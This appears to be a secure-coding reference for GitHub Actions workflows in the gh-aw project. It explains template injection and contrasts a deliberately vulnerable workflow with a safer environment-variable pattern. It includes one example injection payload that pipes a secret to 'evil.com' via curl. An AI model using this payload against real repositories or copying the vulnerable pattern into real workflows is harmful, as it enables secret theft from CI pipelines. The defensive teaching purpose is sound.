gh-aw: Skill for Claude Code

Security Best Practices

Use this reference for security guidelines when implementing or reviewing gh-aw workflow features and Go code.

Table of Contents

• Template Injection Prevention
• Cross-Trigger Nullability
• Shell Script Best Practices
• Supply Chain Security
• Workflow Structure and Permissions
• Static Analysis Integration
• Review Reporting
• Security Checklist

Template Injection Prevention

Template injection occurs when untrusted input is used directly in GitHub Actions expressions, allowing attackers to execute arbitrary code or access secrets.

Understanding the Risk

GitHub Actions expressions (${{ }}) are evaluated before workflow execution. If untrusted data (issue titles, PR bodies, comments) flows into these expressions, attackers can inject malicious code.

Insecure Pattern

# VULNERABLE: Direct use of untrusted input
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        run: echo "${{ github.event.issue.title }}"

Why vulnerable: Issue title is directly interpolated. An attacker can inject: "; curl evil.com/?secret=$SECRET; echo "

Secure Pattern: Environment Variables

# SECURE: Use environment variables
name: Process Issue
on:
  issues:
    types: [opened]

jobs:
  process:
    runs-on: ubuntu-latest
    steps:
      - name: Echo issue title
        env:
          ISSUE_TITLE: ${{ github.event.issue.title }}
        run: echo "$ISSUE_TITLE"

Why secure: Expression is evaluated in controlled context (environment variable assignment). Shell receives value as data, not executable code.

Data Flow Comparison

graph TB
    subgraph "Unsafe Pattern"
        A1[Untrusted Input] --> B1["Template Expression<br/>${{ ... }}"]
        B1 --> C1[Direct Interpolation<br/>into Shell Command]
        C1 --> D1[Code Execution Risk]
        style D1 fill:#f88,stroke:#f00
    end

    subgraph "Safe Pattern"
        A2[Untrusted Input] --> B2["Template Expression<br/>${{ ... }}"]
        B2 --> C2[Environment Variable<br/>Assignment]
        C2 --> D2[Shell Receives<br/>Data Only]
        D2 --> E2[No Code Execution]
        style E2 fill:#8f8,stroke:#0f0
    end